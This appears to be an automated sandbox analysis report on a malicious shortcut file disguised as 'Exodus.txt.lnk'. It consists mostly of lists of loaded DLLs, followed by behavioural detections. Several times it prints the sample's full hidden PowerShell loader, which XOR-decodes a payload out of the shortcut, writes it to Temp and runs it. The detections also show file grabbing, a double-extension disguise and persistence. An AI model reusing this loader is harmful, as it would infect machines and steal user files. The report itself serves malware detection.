Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Excel.lnk.4.dr	LNK file: ..\..\..\..\..\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Source: Google Drive.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

File written: C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\desktop.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: winload_prod.pdb source: Temp.txt.4.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.4.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.4.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.4.dr

Data Obfuscation

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00012126} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002838)) -Encoding Byte; ^& $path;

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq 0x00012126} \| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file \| select -Skip 002838)) -Encoding Byte; & $path;
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq 0x00012126} \| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file \| select -Skip 002838)) -Encoding Byte; & $path;			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Code function: 4_2_00007FF848F1254D push eax; ret

4_2_00007FF848F12557

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\LICENSE.txt

Jump to behavior

Boot Survival

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: .lnk | where-object {$_.length -eq 0x00012126} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002838)) -Encoding Byte; & $path;@{# Script module or binary module file associated with this manifest.ModuleToProcess = 'Pester.psm1'# Version number of this module.ModuleVersion = '3.4.0'# ID used to uniquely identify this moduleGUID = 'a699dea5-2c73-4616-a270-1f7abb777e71'# Author of this moduleAuthor = 'Pester Team'# Company or vendor of this moduleCompanyName = 'Pester'# Copyright statement for this moduleCopyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.'# Description of the functionality provided by this moduleDescription = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of powershell code being tested. Pester tests can execute any command or script that is accesible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.'# Minimum version of the Windows PowerShell engine required by this modulePowerShellVersion = '2.0'# Functions to export from this moduleFunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption')# # Cmdlets to export from this module# CmdletsToExport = '*'# Variables to export from this moduleVariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict')# # Aliases to export from this module# AliasesToExport = '*'# List of all modules packaged with this module# ModuleList = @()# List of all files packaged with this module# FileList = @()PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Galle

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: txt.lnk

Static PE information: Exodus.txt.lnk

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
